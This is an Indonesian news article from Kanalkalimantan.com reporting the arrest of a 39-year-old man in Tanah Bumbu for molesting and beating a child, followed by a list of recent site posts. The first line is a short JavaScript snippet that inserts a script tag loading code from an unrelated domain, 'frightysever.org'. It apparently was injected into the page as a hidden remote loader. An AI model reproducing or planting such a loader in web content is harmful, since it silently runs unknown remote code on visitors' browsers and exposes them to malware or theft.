(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Upaya Gerayangi Anak hingga Tendang Kemaluan, Pria di Tanbu Dibekuk Polisi


KANALKALIMANTAN.COM, BATULICIN – Unit Resmob Satreskrim Polres Tanah Bumbu bersama Unit Kamneg Sat Intelkam membekuk seorang pria terduga pelaku tindak pidana kekerasan terhadap anak.

Adalah M (39), warga Jalan Ansoka, Desa Sepunggur, Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu, harus meringkuk di tahanan.

“M diamankan tim gabungan pada Senin (10/10/2022) sore di kediamannya,” ungkap Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP I Made.

Kasi Humas mengungkapkan, penangkapan M berawal dari adanya laporan dari orangtua korban yang mengaku anaknya dianiaya oleh pelaku.

 

Baca juga  : Longsor Jalan Nasional di KM 171 Satui Lambat Ditangani, Bupati Zairullah Ambil Alih

Penganiayan terjadi pada Sabtu 17 September 2022, saat M datang dengan keluarga dari suami pelapor, malam pukul 19.00 Wita.

Malam tersebut korban lagi tidur merasa dipegang di tangan, kemudian terbangun dan orang tersebut sudah ada di sampingnya.

“Hari ketiga M kembali menggerayangi kemaluan korban, dan korban terbangun, korban terus menolak untuk dipegang, M marah mengatakan kata kasar seperti kepada korban,” sambungnya.

Kemudian pada Selasa 20 september 2022 Pukul 13.00 Wita, secara tiba-tiba pelaku menendang alat kelamin satu kali.

 

Baca juga  : Sengaja Bawa Anak Perlihatkan Budaya 34 Provinsi di Pawai Ta’aruf MTQ Nasional XXIX

Selain itu korban juga dicekik di bagian leher, dan memukul kepala sebelah kanan korban, kemudian kepala korban di tendang sebanyak satu kali dengan keras.

“Setelah korban menangis dan teriak, lalu tante korban keluar dari dapur, diketahui pelaku kabur dari tempat kejadian,” tuturnya.

Atas kejadian tersebut pelapor merasa keberatan dan melaporkan kejadian tersebut ke Polres Tanah Bumbu guna proses lebih lanjut.

Tindakan M ini dijerat hukum sebagaimana yang dimaksud dalam UU NO. 35 Tahun 2014 Tentang Perubahan UU Nomor 23 Tahun 2002 Tentang Perlindungan Anak Pasal 81. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

15 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

18 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

18 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

20 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

22 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

23 jam ago

This website uses cookies.